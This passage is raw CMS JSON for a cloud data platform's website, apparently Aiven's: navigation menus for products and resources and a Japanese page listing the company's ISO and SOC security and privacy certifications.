cases"},{"_key":"541556945b60","_type":"navLinkGroup","group":"column-2","items":[{"_key":"eeb765096269","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_type":"reference"},"title":"Retail"},"variant":"default"},{"_key":"e96a94f5df1b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7ddc00ac-3928-428c-8d61-d860d0011492","_type":"reference"},"title":"Software"},"variant":"default"},{"_key":"37120c81066f3a733244075d966d40f3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"8f78eb23-e1ba-46bf-b150-336732e1648e","_type":"reference"},"title":"Fintech"},"variant":"default"},{"_key":"677cab651678","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"View all case studies"},"variant":"highlight"}],"title":"Industries"},{"_key":"7889fbbb457e","_type":"navLinkGroup","group":"column-3","items":[{"_key":"fed55ec34337","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"},"title":"Expert services"},"variant":"default"}],"title":"For Enterprise"},{"_key":"6826c345b0a9","_type":"navLinkGroup","group":"column-3","items":[{"_key":"f299f3ac10e6","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Cluster startup program"},"variant":"default"}],"title":"For Startup"},{"_key":"2eb9900e6836","_type":"navLinkGroup","group":"column-3","items":[{"_key":"3966bc4c4a0d","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a86fa077-8308-41ae-a33c-498d64b1d4db","_type":"reference"},"title":"Partners"},"variant":"default"}],"title":"For Partners"}],"title":"Solutions"},{"_key":"86ef58c39bfe","_type":"navSubmenu","navLinkGroups":[{"_key":"e43d5a594f23","_type":"navLinkGroup","group":"column-1","items":[{"_key":"2036d8237b43","_type":"navItem","navLink":{"_type":"link","externalUrl":"https://aiven.io/docs","title":"Documentation"},"variant":"default"},{"_key":"225c80591d03","_type":"navItem","navLink":{"_type":"link","externalUrl":"https://status.aiven.io/","title":"Incident status updates"},"variant":"default"},{"_key":"06459538a744","_type":"navItem","navLink":{"_type":"link","caption":"Product ideas and public roadmap","externalUrl":"https://ideas.aiven.io","title":"Aiven Ideas"},"variant":"default"},{"_key":"7170cb9b5558","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Changelog"},"variant":"default"}],"title":"Using Aiven"},{"_key":"ea1cad6b3ddc","_type":"navLinkGroup","group":"column-2","items":[{"_key":"4ae10462ca191bccde62b494bbd40658","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"},"title":"Events"},"variant":"default"},{"_key":"afed37089799","_type":"navItem","navLink":{"_type":"link","caption":"Tutorials and deep dives","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer center"},"variant":"default"},{"_key":"2c9d03cc408e46fb9be6e3080736cf94","_type":"navItem","navLink":{"_type":"link","caption":"Ebooks, videos and more","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"},"title":"Resource library"},"variant":"default"},{"_key":"491c19cde664","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Blog"},"variant":"default"},{"_key":"d58a8d543cf0","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"59439506-d307-4ea8-ac85-0d0388792985","_type":"reference"},"title":"Glossary"},"variant":"default"},{"_key":"e48a0fc02f75","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"94242bba-8421-4db5-8edf-075086929aad","_type":"reference"},"title":"Join the Aiven Community"},"variant":"highlight"}],"title":"Discover"},{"_key":"bd9cd65d4873","_type":"navLinkGroup","group":"column-3","items":[{"_key":"71f0ee5389c5","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"SQL Optimizer"},"variant":"default"},{"_key":"0a61eb2e8e8d1b5e78583a538c897f1b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"SQL Formatter"},"variant":"default"},{"_key":"ec478f8daf01","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"SQL Syntax Checker"},"variant":"default"},{"_key":"16cfa9b3976e","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"SQL to Text"},"variant":"default"},{"_key":"fa3c8bae93ee","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Text to SQL"},"variant":"default"},{"_key":"7958e4f7bd20","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"SQL Minifier"},"variant":"default"},{"_key":"4d1da7eb4c7f","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"fae73ef3-8a98-4b39-96d3-33f1a3894e58","_type":"reference"},"title":"View all tools"},"variant":"highlight"}],"title":"Free tools"}],"title":"Resources"},{"_key":"4637606471c5","_type":"navSubmenu","navLinkGroups":[{"_key":"5193b1bd1878","_type":"navLinkGroup","group":"column-1","items":[{"_key":"1d1edb7771f1","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"title":"About Aiven"},"variant":"default"},{"_key":"243ec0c92fe2","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Our open source commitment"},"variant":"default"},{"_key":"438c85cc29c3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Sustainability"},"variant":"default"},{"_key":"693505954e47","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"668f580e-9996-4c28-8fbe-1c6151081584","_type":"reference"},"title":"Press"},"variant":"default"},{"_key":"88abcd1cb159","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"variant":"highlight"}],"title":"About"},{"_key":"f9539f15d333","_type":"navLinkGroup","group":"column-2","items":[{"_key":"b4297f9b22cc","_type":"navItem","navLink":{"_type":"link","caption":"Join our cast","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"},"variant":"default"},{"_key":"6efff629094b","_type":"navItem","image":{"_type":"mainImage","asset":{"_ref":"image-fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2-1920x1037-jpg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"See our open positions"},"variant":"highlight"}],"title":"Careers"}],"title":"Company"},{"_key":"debba7bd2ed9","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Pricing"}],"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"slug":{"_type":"slug","current":"main-menu"},"title":"Main menu","variant":"primary"} {"__i18n_base":{"_ref":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-08-25T12:18:32Z","_id":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf__i18n_fr","_rev":"kXxs8oM5xmhZ4H9SjWiiin","_type":"navigation","_updatedAt":"2024-11-22T15:53:00Z","items":[{"_key":"bb686c004610","_type":"navSubmenu","navLinkGroups":[{"_key":"a8c3b1a9f321","_type":"navLinkGroup","group":"column-1","items":[{"_key":"47afd74b9fd485fc2e0ad9d238dfe5e8","_type":"navItem","navLink":{"_type":"link","caption":"One platform to stream, store and serve data on any cloud","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"},"variant":"default"},{"_key":"41826df980db","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"Bring Your Own Cloud (BYOC)"},"variant":"default"},{"_key":"19e8ef99aca3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"1ae17d9b-e79f-471e-9cb2-d733725273f4","_type":"reference"},"title":"Find your perfect plan"},"variant":"highlight"}],"title":"Platform"},{"_key":"8046d61cc061","_type":"navLinkGroup","group":"column-1","items":[{"_key":"9fd252b32ebe","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"title":"Integrations and connectors"},"variant":"default"}],"title":"Integrations"},{"_key":"59bb36301bd9","_type":"navLinkGroup","group":"column-1","items":[{"_key":"00f2a0680937","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"09e0a894-0d29-4a89-bc91-367650f4653b","_type":"reference"},"title":"AWS"},"variant":"default"},{"_key":"204a2214444a","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Google Cloud"},"variant":"default"},{"_key":"faf6e9855b6b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"f7e717a7-844c-4a77-98cf-a518ecea2b88","_type":"reference"},"title":"Microsoft Azure"},"variant":"default"}],"title":"Cloud partnerships"},{"_key":"d6637c001255","_type":"navLinkGroup","group":"column-2","items":[{"_key":"2f1045637bc8","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"},"title":"Learn how to stream data"},"variant":"highlight"},{"_key":"d4a24bea476c","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},"variant":"default"},{"_key":"b2857faa7074","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},"variant":"default"}],"title":"Stream"},{"_key":"bc1c66122dd5","_type":"navLinkGroup","group":"column-2","items":[{"_key":"1c8f408617e3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"},"title":"Learn how to store data"},"variant":"highlight"},{"_key":"3afe4da565d1","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Aiven for AlloyDB Omni"},"variant":"default"},{"_key":"a7fdf13581dd","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},"variant":"default"},{"_key":"5ad670a9a200","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL"},"variant":"default"},{"_key":"97bd70d16a2c","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},"variant":"default"},{"_key":"04b7ece07fd465693d9e157394dce03a","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Aiven for Dragonfly"},"variant":"default"}],"title":"Store"},{"_key":"46a6c6f61faf","_type":"navLinkGroup","group":"column-2","items":[{"_key":"8185cca425a4","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"},"title":"Learn how to serve data"},"variant":"highlight"},{"_key":"d12066d6ea57","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},"variant":"default"},{"_key":"dc5630882ea5","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},"variant":"default"},{"_key":"3091b15fbc3f2b225077631aa81e23e1","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_type":"reference"},"title":"Aiven for Metrics"},"variant":"default"},{"_key":"1509a0c30042","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"},"variant":"default"}],"title":"Serve"}],"title":"Platform"},{"_key":"1aa58a277828","_type":"navSubmenu","navLinkGroups":[{"_key":"ff81da24a7e9","_type":"navLinkGroup","group":"column-1","items":[{"_key":"6ee29dd78d50","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"},"title":"AI"},"variant":"default"},{"_key":"c66c61b2b3ec","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"AI database optimization"},"variant":"default"},{"_key":"99bd8948acfc","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c093c67e-df4f-4f4d-aa41-a7d16b0970ae","_type":"reference"},"title":"Vector databases"},"variant":"default"},{"_key":"68e534e5461d","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Event streaming"},"variant":"default"},{"_key":"dc6f8c09b62f","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"View all solutions"},"variant":"highlight"}],"title":"Use cases"},{"_key":"541556945b60","_type":"navLinkGroup","group":"column-2","items":[{"_key":"eeb765096269","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_type":"reference"},"title":"Retail"},"variant":"default"},{"_key":"e96a94f5df1b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7ddc00ac-3928-428c-8d61-d860d0011492","_type":"reference"},"title":"Software"},"variant":"default"},{"_key":"97068f09e6cb996b756becec2d0e3603","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"8f78eb23-e1ba-46bf-b150-336732e1648e","_type":"reference"},"title":"Fintech"},"variant":"default"},{"_key":"677cab651678","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"View all case studies"},"variant":"highlight"}],"title":"Industries"},{"_key":"7889fbbb457e","_type":"navLinkGroup","group":"column-3","items":[{"_key":"fed55ec34337","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"},"title":"Expert services"},"variant":"default"}],"title":"For Enterprise"},{"_key":"6826c345b0a9","_type":"navLinkGroup","group":"column-3","items":[{"_key":"f299f3ac10e6","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Cluster startup program"},"variant":"default"}],"title":"For Startup"},{"_key":"2eb9900e6836","_type":"navLinkGroup","group":"column-3","items":[{"_key":"3966bc4c4a0d","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a86fa077-8308-41ae-a33c-498d64b1d4db","_type":"reference"},"title":"Partners"},"variant":"default"}],"title":"For Partners"}],"title":"Solutions"},{"_key":"86ef58c39bfe","_type":"navSubmenu","navLinkGroups":[{"_key":"e43d5a594f23","_type":"navLinkGroup","group":"column-1","items":[{"_key":"2036d8237b43","_type":"navItem","navLink":{"_type":"link","externalUrl":"https://aiven.io/docs","title":"Documentation"},"variant":"default"},{"_key":"225c80591d03","_type":"navItem","navLink":{"_type":"link","externalUrl":"https://status.aiven.io/","title":"Incident status updates"},"variant":"default"},{"_key":"06459538a744","_type":"navItem","navLink":{"_type":"link","caption":"Product ideas and public roadmap","externalUrl":"https://ideas.aiven.io","title":"Aiven Ideas"},"variant":"default"},{"_key":"7170cb9b5558","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Changelog"},"variant":"default"}],"title":"Using Aiven"},{"_key":"ea1cad6b3ddc","_type":"navLinkGroup","group":"column-2","items":[{"_key":"4ae10462ca191bccde62b494bbd40658","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"},"title":"Events"},"variant":"default"},{"_key":"afed37089799","_type":"navItem","navLink":{"_type":"link","caption":"Tutorials and deep dives","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer center"},"variant":"default"},{"_key":"2c9d03cc408e46fb9be6e3080736cf94","_type":"navItem","navLink":{"_type":"link","caption":"Ebooks, videos and more","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"},"title":"Resource library"},"variant":"default"},{"_key":"491c19cde664","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Blog"},"variant":"default"},{"_key":"d58a8d543cf0","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"59439506-d307-4ea8-ac85-0d0388792985","_type":"reference"},"title":"Glossary"},"variant":"default"},{"_key":"e48a0fc02f75","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"94242bba-8421-4db5-8edf-075086929aad","_type":"reference"},"title":"Join the Aiven Community"},"variant":"highlight"}],"title":"Discover"},{"_key":"bd9cd65d4873","_type":"navLinkGroup","group":"column-3","items":[{"_key":"71f0ee5389c5","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"SQL Optimizer"},"variant":"default"},{"_key":"0a61eb2e8e8d1b5e78583a538c897f1b","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"SQL Formatter"},"variant":"default"},{"_key":"ec478f8daf01","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"SQL Syntax Checker"},"variant":"default"},{"_key":"16cfa9b3976e","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"SQL to Text"},"variant":"default"},{"_key":"fa3c8bae93ee","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Text to SQL"},"variant":"default"},{"_key":"7958e4f7bd20","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"SQL Minifier"},"variant":"default"},{"_key":"4d1da7eb4c7f","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"fae73ef3-8a98-4b39-96d3-33f1a3894e58","_type":"reference"},"title":"View all tools"},"variant":"highlight"}],"title":"Free tools"}],"title":"Resources"},{"_key":"4637606471c5","_type":"navSubmenu","navLinkGroups":[{"_key":"5193b1bd1878","_type":"navLinkGroup","group":"column-1","items":[{"_key":"1d1edb7771f1","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"title":"About Aiven"},"variant":"default"},{"_key":"243ec0c92fe2","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Our open source commitment"},"variant":"default"},{"_key":"438c85cc29c3","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Sustainability"},"variant":"default"},{"_key":"693505954e47","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"668f580e-9996-4c28-8fbe-1c6151081584","_type":"reference"},"title":"Press"},"variant":"default"},{"_key":"88abcd1cb159","_type":"navItem","navLink":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"variant":"highlight"}],"title":"About"},{"_key":"f9539f15d333","_type":"navLinkGroup","group":"column-2","items":[{"_key":"b4297f9b22cc","_type":"navItem","navLink":{"_type":"link","caption":"Join our cast","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"},"variant":"default"},{"_key":"6efff629094b","_type":"navItem","image":{"_type":"mainImage","asset":{"_ref":"image-fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2-1920x1037-jpg","_type":"reference"}},"navLink":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"See our open positions"},"variant":"highlight"}],"title":"Careers"}],"title":"Company"},{"_key":"debba7bd2ed9","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Pricing"}],"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"slug":{"_type":"slug","current":"main-menu"},"title":"Main menu","variant":"primary"} {"__i18n_lang":"ja","_createdAt":"2022-09-02T16:26:59Z","_id":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_rev":"cOoKElpg4AEXyE6qxY9BbO","_type":"page","_updatedAt":"2023-01-13T08:34:30Z","content":[{"_key":"4002ed8305e5","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"7678fc57f0fd","_type":"block","children":[{"_key":"2f727f76baad0","_type":"span","marks":[],"text":"Aivenは、お客様の情報セキュリティ、プライバシー、コンプライアンスニーズに全力で取り組んでいます。Aivenは、ISO 27001認証の情報セキュリティおよびISO 27701認証の情報プライバシー管理システムでこれを実証しています。また、ISAE 3000(SOC2)監査を受けています。PCI-DSSやHIPAAに準拠した、より安全な環境を提供します。"}],"markDefs":[],"style":"normal"},{"_key":"1d6fcfb1d70c","_type":"block","children":[{"_key":"9a232df30d3f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"title":"セキュリティ、プライバシー、コンプライアンス","variant":"compact"},{"_key":"0c7f9cbce48b","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"items":[{"_key":"245bf387a106","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-7e2f0690a13b76039ef49ba5ea6f5bd5c4ef5312-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"be9d3a4685ff0","_type":"span","marks":[],"text":"証明書番号"},{"_key":"0f155e9db61a","_type":"span","marks":["429cdae81bf3"],"text":"10305 - 03"}],"markDefs":[{"_key":"429cdae81bf3","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/944c69e9cabd057c63785169934004f7a861dd25.pdf"}],"style":"normal"}],"tagline":"2018年以降適合","title":"ISO/IEC 27001:2013","variant":"default"},{"_key":"07a8074807551966f645756a00b64a47","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-a4a18de5e9a7bdd71506bb0626b5f39343ca7a2c-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"be9d3a4685ff0","_type":"span","marks":[],"text":"証明書番号"},{"_key":"0f155e9db61a","_type":"span","marks":["429cdae81bf3"],"text":"10305 - 03"}],"markDefs":[{"_key":"429cdae81bf3","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/944c69e9cabd057c63785169934004f7a861dd25.pdf"}],"style":"normal"}],"tagline":"2022年以降適合","title":"ISO/IEC 27017:2015","variant":"default"},{"_key":"37319013874b22b578b934dc5e47cc63","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-4fdcc28754cbd3606551fcd793ed3fd840e3f5f8-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"be9d3a4685ff0","_type":"span","marks":[],"text":"証明書番号"},{"_key":"0f155e9db61a","_type":"span","marks":["429cdae81bf3"],"text":"10305 - 03"}],"markDefs":[{"_key":"429cdae81bf3","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/944c69e9cabd057c63785169934004f7a861dd25.pdf"}],"style":"normal"}],"tagline":"2022年以降適合","title":"ISO/IEC 27018:2019","variant":"default"},{"_key":"4024ae82fd6ce522b22c5c2ae3680aad","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-2c62adf5c781a22c9c8e1c9c0098e15bc0df1c4c-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"be9d3a4685ff0","_type":"span","marks":[],"text":"証明書番号"},{"_key":"2d60f923eed9","_type":"span","marks":["70695be6ca0a"],"text":"13470-01"}],"markDefs":[{"_key":"70695be6ca0a","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/cf2cad4cb40988910248cb2d007080a359a01c86.pdf"}],"style":"normal"}],"tagline":"2022年以降適合","title":"ISO/IEC 27701:2019","variant":"default"},{"_key":"76a032eec1f4d75eb1c56f51a8d9f566","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-81dda0a14fa173799904a361bacfc31133b49bf2-690x413-jpg","_type":"reference"}},"subtitle":[{"_key":"499e8bc445b9","_type":"block","children":[{"_key":"2a8143afb3e00","_type":"span","marks":["f47b49f16860"],"text":"ISAE 3000 (SOC3) Type 2"}],"markDefs":[{"_key":"f47b49f16860","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/bd90b3440aa5a93b1e52f74016bc7be91709bcfd.pdf"}],"style":"normal"},{"_key":"d8bb07f3a497","_type":"block","children":[{"_key":"d6f77afab62b0","_type":"span","marks":[],"text":"Whistic Profileから"},{"_key":"0311b107aec8","_type":"span","marks":["baae7ecf077d"],"text":"SOC2 Type2"},{"_key":"a3e19e0d4797","_type":"span","marks":[],"text":"レポート全文をダウンロード(登録が必要です)"}],"markDefs":[{"_key":"baae7ecf077d","_type":"link","href":"https://console.whistic.com/v2/request-profile/10ad8a41-09ca-445f-af79-92106615da1d/d4f00742-87cb-4277-ad84-45132c6d5704"}],"style":"normal"}],"tagline":"2019年以降適合","title":"SOC 